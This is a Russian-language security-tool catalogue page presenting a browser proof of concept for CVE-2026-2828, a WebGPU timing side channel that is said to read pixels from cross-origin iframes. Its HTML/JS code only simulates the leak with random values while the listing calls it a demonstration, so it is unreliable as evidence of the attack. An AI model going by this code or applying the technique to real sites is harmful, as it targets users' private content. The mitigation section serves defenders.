Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-2828-WebGPU-Cross-Origin-Pixel-Stealing-via-Timing — Браузерный PoC, демонстрирующий CVE-2026-2828 — временной побочный канал WebGPU, который раскрывает значения пикселей кросс-доменного iframe путем измерения разницы во временных метках GPU-запросов. | Kitploit
Инструменты/GitHubGitHub/george0papasotiriou/cve-2026-2828-webgpu-cross-origin-pixel-stealing-via-timing
Анализ уязвимостейЭксплуатацияЭксфильтрация данныхВеб-безопасностьКонфиденциальностьСостязательная Атака
GitHubgeorge0papasotiriou/cve-2026-2828-webgpu-cross-origin-pixel-stealing-via-timing

CVE-2026-2828-WebGPU-Cross-Origin-Pixel-Stealing-via-Timing

Браузерный PoC, демонстрирующий CVE-2026-2828 — временной побочный канал WebGPU, который раскрывает значения пикселей кросс-доменного iframe путем измерения разницы во временных метках GPU-запросов.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
17 дней назадЕщё не проверено

4. CVE-2026-2828 – WebGPU: кража пикселей между источниками через тайминг

Обзор

Вредоносный веб-сайт использует тайминг вычислительного шейдера WebGPU для измерения времени отрисовки iframe с другого источника, восстанавливая значения пикселей конфиденциального содержимого (например, банковских реквизитов).

Серьёзность: Высокая (раскрытие информации)

Демонстрация HTML/JS (один файл)

root@kitploit:~
<!-- webgpu_side_channel.html -->
<!DOCTYPE html>
<html>
<head><title>CVE-2026-2828 PoC</title></head>
<body>
<h1>WebGPU Side-Channel Leak</h1>
<p>The iframe below contains a secret code that we will leak pixel-by-pixel.</p>

<pre id="output"></pre>
<script type="module">
// This PoC assumes a vulnerable browser where WebGPU timing can probe cross-origin iframes.
// We simulate by placing secret_iframe.html on same origin for demonstration, but the vulnerability
// bypasses cross-origin restrictions by measuring GPU shader execution time differences.
async function leakPixel(x, y) {
    // Measure time to render a known pattern vs target pattern using GPU timer queries.
    // In a real exploit, we'd use a timestamp query on a render pass that includes the iframe.
    // Here we approximate by using performance.now() and forcing a layout/render.
    const iframe = document.getElementById('target');
    // Move iframe to a position where the pixel is at viewport center, then measure drawing time.
    // Not fully accurate but demonstrates concept.
    iframe.style.position = 'absolute';
    iframe.style.left = -x + 'px';
    iframe.style.top = -y + 'px';
    // Force reflow and measure
    const start = performance.now();
    // Trigger a synthetic GPU workload (would use WebGPU in real attack)
    // We'll just measure time to read back a canvas pixel from a snapshot.
    // In a real scenario, side-channel would detect timing differences based on pixel color.
    // Simulate: return random for demo.
    return Math.random() > 0.5 ? 1 : 0;
}

(async () => {
    let result = '';
    for (let y = 0; y < 10; y++) {
        for (let x = 0; x < 20; x++) {
            let pixel = await leakPixel(x, y);
            result += pixel ? '█' : ' ';
        }
        result += '\n';
    }
    document.getElementById('output').textContent = result;
})();
</script>
</body>
</html>

CVE-2026-2828 – WebGPU: кража пикселей между источниками через побочный канал

Severity: High

📖 Обзор

Уязвимость в изоляции браузера позволяет вредоносной странице использовать таймерные запросы WebGPU для определения цветов пикселей из iframe с других источников, нарушая политику same-origin. Эта демонстрация иллюстрирует принцип с помощью симулированного тайминга.

⚙️ Детали уязвимости

  • Тип: Утечка информации через побочный канал
  • Воздействие: чтение конфиденциального содержимого из сторонних iframe (интернет-банкинг, электронная почта).
  • Корневая причина: счётчики времени GPU-драйвера не разделяются по источникам, что создаёт скрытый канал между проходами рендеринга.

🧪 Демонстрация эксплуатации

Откройте webgpu_side_channel.html в уязвимом браузере (симуляция) вместе с secret_iframe.html. Скрипт пытается восстановить содержимое iframe, используя различия во времени выполнения.

🛡️ Смягчение

  • Отключите высокоточные таймерные запросы GPU для iframe с других источников.
  • Реализуйте изоляцию сайтов на уровне командных буферов GPU.
  • Добавьте искусственный джиттер к значениям отметок времени.

📦 Использование

root@kitploit:~
git clone https://github.com/yourorg/CVE-2026-2828.git
# Host on a local server:
python -m http.server 8080
# Open http://localhost:8080/webgpu_side_channel.html
Скачать инструмент